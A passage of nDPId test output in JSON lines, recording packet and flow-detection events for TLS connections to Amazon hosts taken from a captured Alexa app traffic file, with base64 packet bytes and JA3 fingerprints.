{"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"d199ba0af2b08e204c73d6d81a1fd260","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00414{"flow_id":62,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":855,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":460481,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo8TFAAEAGXBmsECrYSBXOh6SkAbuyb6cvqbMZ9FAQAVv9TQAA"} +00484{"flow_id":62,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":856,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":460766,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AMDKkaPvePiC0\/vCCABFAABb8TJAAEAGW+WsECrYSBXOh6SkAbuyb6cvqbMZ9FAYAVtTEQAAFAMDAAEBFgMDACgAAAAAAAAAAB5+3oSCjbznaCKLIYQ+spc1nPoI9kpIfValJbNGrWJL"} +02389{"flow_id":62,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":857,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":474780,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXc8TNAAEAGVmOsECrYSBXOh6SkAbuyb6diqbMZ9FAQAVsLnQAAFwMDBskAAAAAAAAAAZ2mur3wHEqhBcXSSnx+ZemvwN7G0nMqa5GxGbTCUW4gy6SUIT\/OaGJCPx6ayzb9\/OX96KxEJdrsPABOmhPz5YHryuDlopiK38OqypRFr29WHVspKJDbRtXE+aAlI+kZ2OMhnRU6s70iVdc+qm2ZkxJkymgmtsEWMHYJQ4o9qQeJoFD7XaGkXQRgLqlfMrQgxFxl2OxbbexR5X7kHdcRysEF7pEEsbPbzGDfT+Z+kzwWOzMhSai1rduDhgpLMo0qDpwts+UaaLXaSm2nQZIGMpbiKW+kWg5SYh2PDZlaj4TEKFPK8wcNA3n998swSMjm8\/ATgIXiEALfHMBkvZj9EArGzZSkNjjJY4CHB74UUg0dfaJWNIAMycxqRZqWtWy97o00YQc3VlA+ZPC6Y1mCZI99oOzC44g\/aqWv6xZHtQ3qzX2KQBq7ys2SEo3LYF9cbmKPhkPItCogBztjZTbam6s26suHN2ljjYGCtRmWfqvQFxSi47KYeL2wQZ\/4C6T\/BwqPX348uiUdc3p2uhvYXxy7acLuB+peuzvgtoZKSoX8amdaynvN7Zgfmca4OOh3NSXPZSf5B2NZasKmro2Ap6NwXBhqZGwIap93F+Wdka9Yti5W62OuCrxZR17r7c09gPdc+HhtLA2MoipnJLv48LxLAv0niwcEbAzAVkvXXU9g6gsxGJ0C3zAtOEl2Owaa11dgo1BgVWoie6BAvyBYUqtbKtJyTE+fhQeIo4GOstAO70+G3zGd9puYLcQlcEMab45MYJc0G0gQ4o6e0bXjYgG2Y\/AUjD5itxA61JEIsRa6s9+ms2ZaJ\/y7HgDBG0LLYm6vIqtkyCj+SF73O8dYBsNlJJanAMS+KIP0E9\/5elUL9uFafeTOEUwtE5LEEXKf3niqTkS7HVbz349D6tMyBslU7APBw4wXKeG3I\/EiRsrT1ewves154Dtr0rz9uWvQF630wltgSQTUpge5sXsDqIvSBV3davLY2PxPShWxSTbNqLA0huryxGVgzaNdIZlGK0ZNgvVbTfuNNbtBu1ce\/xPFDYSMzfdbsozJOQkUsnTWuLV0BSlECXiQ6pkoVni1xD8mzG1B0C863uRglsLCxUKfjNIIyLacuPjkBFQGUemg4KkAva8pRm0ZKa+Zm8U7LwxQxjElPx\/1ipmdSMx8IYoQyVWn5qIrIY3fVgvFWX4wxQJFvpTSnQy2C7qOauYr4xcMO1S2sP84DcQ67eciEhLwdF6evMA1yjJrtUNbm93K9eDOs5WJY85cKrhjeD2X77EwxTUuhcirwFBKmv0dpL+a7nO1sXJnlhtLt1eiDLjSZRZie7bJg0\/I18F+bIRzCcgTDRNgzYHUhpnInrIHphzr\/CJxBCcaRqpz1mEBQmyyjtu87MVn9p6enjCAgM32T8vuRd8anmWpXtmxjB7bL7OCIBwVgez2EZK6NPV4BuY2EcSBKoCoCI5HUd42Hgf74qtXtIleaDtPisrw2iW1RpqcMANTdP+dEIYc7HuAZv7Cu+BdUkpYkJyRjT3mbKv\/Or8xXwUkvJTtkTxYCSwcspr7xqURTUbkoYnClWBhWdFa8l+UBORmXI8rlMj97Nk7r41vaawDBRS5t0dHefMyb7SkEbJnYRt53omnFc3IzsUmIT23iALNC7BMVtm7yVp\/sC1ACnJqtkKJRqtOFc97ap68fpmO+qlNX9ScmxkQmBBXCyIAyT1vStrXCvX54SfpdLap0y7g3C9aEE6NgLvKHeZS\/pVlEBVPMw2eyKdIZpulkRRupeTtd19wGZlnxTpnAgWARYNUTkJ9ukP\/zo2pSfZjZv70RcF\/kLygmE4ttZcnWw82ua8i56yATRzBjHO1bmxuEvKCxDPyQF5SRlEfUSbbz01lSX3UaSt3sZGD\/okXNFFt3mv+hhomvI4QE2qyT0b+eATojW8="} +00801{"flow_id":62,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":858,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":475070,"pkt_caplen":336,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":336,"pkt_l4_len":302,"pkt":"AMDKkaPvePiC0\/vCCABFAAFC8TRAAEAGWvysECrYSBXOh6SkAbuyb60WqbMZ9FAYAVvffwAAF5oR5t++zJmQqEmUCRT605MKb4aBGJsaV+IdpXmaRofHksX7aqi1GkDOerc+Iqp0b7vgQaHKcLy+7wSw+0VuAeIQCbF7yIKrVNCvP4QXQsfnqfQxhHvYV5jo7dlnPAjEIti\/ilOwcn0N0cRz\/18JvWfxfHS+DDtrK\/sz2CUXOZvcfnyqcSJcz6J\/\/HTfLSu+wrqxy9yCHroC+5VoXRgZSTJEYFgEL6ihAta\/lrZoIK51n7rss0IS9rDI2OmLHWaFUNLrns5efqdrAfmfZvrznKLCotlO79rRXHda6o37p7g5nqMYuxy1dlPS96nfkng\/jIM5R2APRWwX7juHUfT4Fe1HLhDF3QsNpfZiLcmKYnZVuGgtE2SIqXUl"} +02404{"flow_id":62,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":859,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":475236,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXc8TVAAEAGVmGsECrYSBXOh6SkAbuyb64wqbMZ9FAQAVuWHwAAFwMDC+gAAAAAAAAAAiBdB\/pH+wkkxuhxIfloEcgVFdmbaHcYUKOGE2MckewRqcRC4VBQVBdO0HwxBCB2GaBXJdfDiKN3ncHzdvGueZ8IxWy04lhMnQGiW8nWNtlgTN1ABRDBc0MY4PaTG9IMgsTkCdDEG+BCE280ozTxWRcrsU7fAbmCRn8hN\/tYfaO+1d4jXi58dKr9PGrg6KMVbjtIILX+0HMdGGnTNdf0hGR\/LVqFaa5NoUsJypAk9lxhZ1ZOeqNl7HIPgC8bYXJW3UkF7TBLQK96UupQ\/9FKCcyNbBLeaqQ\/pd06HsD05dKcI\/ysodMBsquT1YtHVvYYcV+Qh1hV68OqVmtdzRMCyeLb\/opXZsAgHMOifYlZtS4VsEn2sxq5lfhQg2XwLbbq9zAxhg2OGQyV6HRf+nCxyA7Sh8EELo1IR4HCKCLpJoQRqJ2FTRaxQ63Zkh1+GpOdnt9pMN6j2yqeisgnS9T9LUMwJvuF7W8MSbAVBhAHxvts4G6XP6ktTGg3U6qcjP\/E0G\/SQRbLYAWQqkHiCbZzfPfgw8id0Z7Ym49feP1dartPHzYsr9\/UW\/Du9ZK0ZV2Dau87WftnHeCClRtJro5m4f4T3vxqIp8WZ8ZMyyKCv75ZrCsvFnj++KyFQDErRuHMk1Z5gWAui\/c6+zvpZ4Jt7iURpBYkpraLD0RK+wKCNHZawyU9f4fTOZ5GQ\/zcTelkOWmQRimhu1epOg9vuTUaVnTu9iDnIuXx\/7S3AO0Mk3iIHEMeQSej+NtT8D5i3r\/JazbHgP6j4AtNsKWJlGFO01sytl1or1IxX+NmFQkBUMb67d3og\/oEoJBy7rbWuL2GcOdhnSY9MB+mJf23+nEuuo6S37SLZNOOFh\/vdfyw1K7G5vAQ6cydZPKYwNY4glzb3P18AuaWfmNrWyeqasGWkNJE7CTRgi0vuwEwL5FbxzjotersHHjDUrRF5T7xTDcyDwjLqS5422fXYAXtVhGApFuSv1L9tEuoliyVpHHkL9DgPIs39MckwsLvRCe5wKcMP5zVpz54wAQGZDPz6GRxDNbIAhZn3Y5ANb9OOxa7pygzcDDkhQBCbwV+a3RIzaaBHL6AVyLRHhpZtCnvw+r3Y6hH2XFbioSvbafpQBR4mX+Ck\/n2AWI0FocCKYZHzuK8cAFeRqWawXHUscFOiq5PxOBFy14ZB5TE\/JiFAYgtXAXX\/c0X2uJAC06wHf\/wdpT2XJy3yAAXA\/Yxb1lMg6LZdsbF+SNytbob2rY\/boLgzCTxCGX2L46sYsyqkQYaokKbX0Fje\/VlBHFqBRRhMaGyB7rh2YbFxSwoH4a8demmxRiamIk45XWZc3r1KtFNbLgUN59mJ3ojmefPSWtDBpw+tdZIqf4\/G4EB9UPScUb9yLQz4D1ezbryQg2MAttwDD7+95FeWoKlwEqaNwuFn6nmKOBCivnJxZGMHu6nDIbfYqC1hF31otZsHW5kSPTw8vbCnv5hGBcmturc\/iRUF6thiy6e+SmMUiQGD7dLU5XaE9TAUDxlIgmbu25EEIw94Qmo0FrjQzhwF5Jsb3WXqzs456PUuf8sW4fHMYIdBKRHq\/7hQ\/0Z5cCJ05hTAXaDTRbw4eRRVqDW\/2tlTtOUrD0V\/1sSYgZT17aHMkmPzKiI\/l1+xgqNom85qlzfiywBW6VQYFmAeNKQgS4j9kdnSNXZEcbJ05VBiz9\/lDq4vYTtBNBnIssHZc+Ni\/29BlWEstuq240GreXz3F5frfQb2jbwY1GXMVJrUGsJL7bLgOUPCz0a52eLrg0\/Hwlr5m233LP4c61E4ahEQXi1n+gNnowxSh84BmxZUuCvq+T5FYResBmJf4OsDAUh+svDzUrWiAzT2Di8WZnF2l66LSzTSUsgD0FktIIJyTPdc\/zpB0xzhOcpkAV1Kfa9yLIrTwgV74+Uf3DAGj0DWNY="} +02406{"flow_id":62,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":860,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":475652,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXc8TZAAEAGVmCsECrYSBXOh6SkAbuyb7PkqbMZ9FAQAVsQeQAAV4KEwDmN3TMYETG22rzOcvyICn2JmvvanNcNIcbVSDfswfpiTMLxCARkFBIqtKkxb3Jx4CzSbM0zFBkcnPkwkByXMA44ZL6uxw6y2ne5ZVNJ1ZDM4tSWx+x+kjgFfCCoj+Ki9Bpl2\/eptjcbyRTokON5AD1wmWVtVwRExT+Y0cioHOpFJ9Qq9On+EveItf\/XMBa8Omd3clj4c3N55NAls\/FX047jPZTprEHLVSTmrqZNFfXwoVV\/f0d9vt1VHhHVnqP\/LdoYPA0Vn91+hsGaWpB33mCacrlBs2QeHohAAVVLn1a5bIkAPhwmakezEZOHdrtPDM5H32EzIdYKtmlHbIWNCkcHuzGIObDfovpTf69nj2dUaYDhZH4v0XLZq1BVbBcz5YdM+QhOwZf\/fhF+Wnq8pUmlsyFRfTPcu6C8OBQNervLug41Ewr352K8YWEgZvdrvJJTlYk09Qv9xK+a1Glsf11H6gBFQgMEneyW\/eTfgLglGGuNKZp4BbVQa4e6RySXG1BjYerNHUSDCBf+L2rpurVGUwOEUcWuQHIYhOfHo61Lz+Q4k8k1JCfmKI1jFOZKMkVpSBdoHDnw3WMsDFVRruDPc9rxZX56vcuPHBC60VFbnWYO\/mZHsniYJJ3asMPkTv4TLhLLXPMnSOPE6qaSyTwt+q0yOH60Rt4emlnSP0okKZfbF9yD4+to82a+rFYxXATy5WJ7m+HGF2xkEkZVENWpphjCFJk3Uk8Tpc0Jlsu6sN7cWNyopgG83ZLq6gznpjLnr66OcXlev0M48fAMfAkBXAcVTUBtq2JNK0SmpfzIedk4NUPnKDYEZ86kctxgf4joVXX6\/DrReEXaocrTlfSE4W4WjHz6fInpzcvL6IbVLpJHw7Zk6VPqUkvK+r5dG5XRL+I8Dy48xS\/rY53obZcqEA4ppoZFLspjcqFc\/wjUxHuyaBZ5HVZfRPjXYHNb9Kr55uD+5CMDT\/ZYWeOrIR79K\/Q2xdrzU4SKzWI95o2ZY7iUfwn\/paL5rM3t775PsiaP0mB5GWtPicEc8bC5GZHnR4Q5y5WVFRsPB3dWN+OPSXUcU0auPX2MP+3cXhaxvjLhpLX2GMYzTQF1HkcN\/C2oRwAJdTCL25ZnnKohMsuw\/rydQ276eoaxxRgY61lDZcFZRwZ8SJnjGtTBra1pPapz\/+E3HOeDlEbgeBv583SNcq3iXpKZYgvn0uVuCN+ec4kiDliQrga6qjhWbBVCJKMy3\/y2OJoiwWQMmfJ8f5EZlcAAraZfBLrD\/2T39OnkS2ihqgO5VbmT\/Seq1QQEHc7vusPlK+3+Li0AzvwGMWPT5VNzXunAKKw4z2qq4clPFZXjP6UtNyILMKUzg\/aUegKsCdL3KofWVypGW9V7z8DHFXif2QPeFv2poa\/KMeVtnI\/UWpO8eQF3k9YX3FPDFOotyZ\/NmX+E\/kxPjHHhj7aCS73aKLtKh24HvVsis3qt4hTk+j+5bve58O2izQGBt9TTxSan9Ei0HtB\/AXG6Em526MTNmtP4Hb\/qA1\/364pNrCL\/9NEgeuQCRjhKaUgG2rsgsv505JfxgL0e2P8VXmQeQ\/FF3HWv8rTh9tqc3lL8jG\/xxXnOxtZ6OVbrv2OsXkD+AggerXT9dWDGt\/Kl312SSMYpm\/C055uBpmae9IIU8YHwNN4XsQoDEhCHXVFtQSdPhNvCrtrvpPYDqIhi0VOsXDIvG72B5cjNhFXgRQM+ZKKVTIjnWBKYJisZkyAjGVLKqCINp6ZSLskJc\/JyKHkQwyBUByAtyKNZ31Bf2+0kcOov\/RfKYpEXcoCmqrA8s0LeEuhRXquNXMw2mx1mVxbuGp\/crGYFESQ4kahIRS1W98aTyEUHf9Qr+NMC00pGDJGpmQqn6VDMqBHz9fKTj5f9FQbNsQVy3\/H4lTjjkxqwkjwSLEOnF13kg+KztOWASqo="} +00599{"flow_id":62,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":861,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":475888,"pkt_caplen":187,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":187,"pkt_l4_len":153,"pkt":"AMDKkaPvePiC0\/vCCABFAACt8TdAAEAGW46sECrYSBXOh6SkAbuyb7mYqbMZ9FAYAVvggQAA2Zx9K85Ekc2HfUsVz6PKx1k6tlk44z1EUWvdkuN3oIjeQgnO0R+LAae+MyaXL1MuwMwfKWuVHw8XlVrXI4vMrZG98\/79HgFPCkUKpP3XNSY+lD5Q7uEZPaw4SJ5abqvMjlebCVBM8PW4nK050OOhcgOSKFcNVAtH4DyaLapg0Szl31E51g=="} +00442{"flow_id":64,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":862,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":505269,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPMGqqU0VdHYrBAq2AG71KJ+bVwJX8R4G6AScSBROQAAAgQFtAQCCAptHVo6APZXfQEDAwg="} +00430{"flow_id":64,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":863,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":519519,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0L2hAAEAGLkasECrYNFXR2NSiAbtfxHgbfm1cCoAQAVfvyQAAAQEICgD2V4NtHVo6"} +01130{"flow_id":64,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":864,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":520567,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"AMDKkaPvePiC0\/vCCABFAAI5L2lAAEAGLECsECrYNFXR2NSiAbtfxHgbfm1cCoAYAVeoAQAAAQEICgD2V4RtHVo6FgMBAgABAAH8AwNl4D5WcIpeF6adbzNjl\/tiZhGpmavxSM5uXnDrdJHl1yBHUQT65GzShmSQt43DXU\/iRpfvK3yVUZImuuA4WpXHawAgamrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAGTOjoAAP8BAAEAAAAAEwARAAAOd3d3LmFtYXpvbi5jb20AFwAAACMAsFRWtD3JSKQf4Lr9eEfx0PQ01nHGkidDCG7s9KZESOymslO\/GqdkoVsdJK5ZoYugmQyWHOp1tqWh2bA4KlSTUx1xDcGhPBYTENeT+hnpzYJuHISGm+WAjLYZpeScMXdEj+cpOxx40tMWY+U2GkrsQW5AIinC1PY+tiQWPYlKDKD6UtQmLCxNZDzFu5nYZUvgPU\/iQ7PiXNcQfJ3byiPYuj5cRmbUB10pxz435spf4lY4AA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACOrqAB0AFwAYWloAAQAAFQBnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":864,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":64,"flow_packet_id":4,"flow_first_seen":1490976064452,"flow_last_seen":1490976064520,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54434,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","ja3":"5ee142340adf02ded757447e2ff78986","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00423{"flow_id":62,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":865,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":553234,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoLGBAAN0Gg+pIFc6HrBAq2AG7pKSpsxn0sm+uMFAQf+B3xwAAAAAAAAAA"} +00430{"flow_id":64,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":868,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":568500,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0BktAAPMGpGI0VdHYrBAq2AG71KJ+bVwKX8R6IIAQAHbunQAAAQEICm0dWkEA9leE"} +00644{"flow_id":64,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":869,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":578107,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ePiC0\/vCAMDKkVoBCABFAADQBkxAAPMGo8U0VdHYrBAq2AG71KJ+bVwKX8R6IIAYAHZQKwAAAQEICm0dWkIA9leEFgMDAGQCAABgAwO0ahuAu\/mxCC7FLjcjJHsCRdjVzbWF6rnmSZki2hWy+yBHUQT65GzShmSQt43DXU\/iRpfvK3yVUZImuuA4WpXHa8AvAAAY\/wEAAQAABQAAABAACwAJCGh0dHAvMS4xFAMDAAEBFgMDACgY50qTfNIcvqinmQ3E+DPfwPuU5K6raP7Loz32LgY07caLSfq6mttr"} +00786{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":869,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":64,"flow_packet_id":6,"flow_first_seen":1490976064452,"flow_last_seen":1490976064578,"flow_tot_l4_data_len":881,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":146,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54434,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","ja3":"5ee142340adf02ded757447e2ff78986","ja3s":"d199ba0af2b08e204c73d6d81a1fd260","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00430{"flow_id":64,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":870,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":580324,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0L2pAAEAGLkSsECrYNFXR2NSiAbtfxHogfm1cpoAQAVvtFQAAAQEICgD2V4ptHVpC"} +00500{"flow_id":64,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":871,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":580609,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"AMDKkaPvePiC0\/vCCABFAABnL2tAAEAGLhCsECrYNFXR2NSiAbtfxHogfm1cpoAYAVtdUAAAAQEICgD2V4ptHVpCFAMDAAEBFgMDACgAAAAAAAAAAIzF4OdeVlaCewECt1pR31RMu8hup3MBOGRShskTWu0F"} +02395{"flow_id":64,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":873,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":601527,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcL2xAAEAGKJqsECrYNFXR2NSiAbtfxHpTfm1cpoAQAVvqUwAAAQEICgD2V4xtHVpCFwMDC5QAAAAAAAAAARsr89W8dyIR8Ssse8\/bbg9e4ZavJRJMt+k5rjZWeqISAX8hsX+y6QQjYDYkJfp6uT8prrq+kxOYAOiWoNfaRCWE0nvnvztgppMmfI3d1jX99KxqYxvh2oJZFv\/pvBQQkaVpAxcQObAFaZ9WU38jfrXuLSGfdDwHPEoJ96T9QCZrehgP7DcJlx+9RGi2M+774Sjm8A13cAFBAXfDpEqGMN9CoYOtdOZD1KIYbI1r5IUCqVe5FMYukWA9StzXAW1VxH97dyEkEoHGROrhofaAkHHYXxpjKE\/bWN3v74NZPaiZ\/GzoezOebqPF5gf9++OEpqwnbntFf\/cavlSPTjFWrELjPiqAbXzGqM+T0IduK98Ri991SX1eExHobxNmASPv84ChwaYFwFkktzbbyDImArkZAlFkIcp84flfawWv\/iSzvhRTrsmFqFsW1l9DMtGfK3\/y2YcO8kDLjGXNQKynTNsJDa8q5Dcj2SGETMJsGT0EzGOHbFA1ySIGw1OrYcPfbF+8NDLPUtVQLivlZSwOtaUKRSXem+FWq05LWUaJZSpAbXG8+mbChykwCPlIX+WK6tswBpfjZlRAxwaDQt8boVSi8nY3moWZxOTjsH\/IDwQxF4mWC\/dHXhw4UtECJDVz0Z6HZdvzg10hQ4XkbjpS2SFuwizAij26gsRhJiM2XHi7n05bv2jK\/ZRGXcrKXbVJB611XBjn7l\/AZ+jw7ynauPJiRczJifdGMHJdxWEHpfqCfJz+tWTeZo63WVLYGI7EnNT9XBWCvR7DvwHZApgESE29WQREUUlfhJFeiqdd3JKCwMZtICFhA\/rH0\/RYtoKls+\/LzpRsyruyt4WT9\/ckqpmjxqWuyBd1xD5c3g3lJRi6BjnCaoFOiBe2FCc4xpGqwyfhwhA97bBI1y1khgER4SRd1Pt3jfToaK633543mRG2pvJqwFHN268J9duEl8LzzlRo4DxSSkFDfNt1VBxuZQjSdb0gETMoFUcQC2t6CkPZBT2cWFabG0sH4eOtjUgCJUkhY5ti+KkHeuUG7pqWTGOjlDA\/nYMGLL8dOYHBr+K+Lrl9bpRPfNTbwfUh+gvXVOzWV45bRAIFfAPjFOZ66HEZpf4BExs\/kt1FXy1D3z4r5FaXaUn+RsE9\/Kn8HHA\/2RrjNKJCgwSnyuZA4jelwdXu1ifcuPD0eCAbcoUCeBu59I1eT\/WGRriPRxBpVK8STKe+KXw+wFKAhyeeyESCo\/kQ5SMwMHwGRQ8b8xgt7sIGnXK1s960rVhWZLMKRl7T2eDFGuWkPEeWa\/yOvrOYTpe9+pasC5q6AZH84cYg2TgiaoKfaEyIU+5Uus22vVab5SxDifHErwIEGBYEabVZI1xSeWD5ietfXP7AvpLxDK6rNxmY1F\/P6a1+hyR5ZYtrSBoSNOO4h2DRI+K7Sghu7ch+8ROegN2hG3QVXocxBPhOaqqex11MaCRq7\/PE1miu6xe7LbiXlFyf3ZbGBPvPtzEFgwnDVL47IVdcQYohpIHkMSUtJ1bXBJh51RidlS57vDpRZ42etFhN6a1wN58FXOJa20uTlA+MLzXdSPKmf+8u4zdcy2x8nMyasr7686ld5btiYFpfK2XujhkcXTUjXtK0P\/tPSQpYQBubFr7211VZaUCNWcLOUV+0EJrJr3MNep0z9INVy9clLNaeP2vM3f3k+D3YRXFKgsIIUj4fjIRge9cnHEi8uMVS+M4Of1CDtQSyHQIpWWJHv6DHxXSERUqW3eXAUlCYfji1vLOcib8z7nI1fkfkwCYBcUkHjWWzWV4IW3QOVFMORXDGiltstcEm+7WnrouxZcOR2Byvt\/hQRGeB69FswG4HKZi4ofbUAPLiUbZfGoRoDN68964LqMhjmx8dwlz7jo8KQjm1yq\/fgccFd0RAVWmLXuc="} 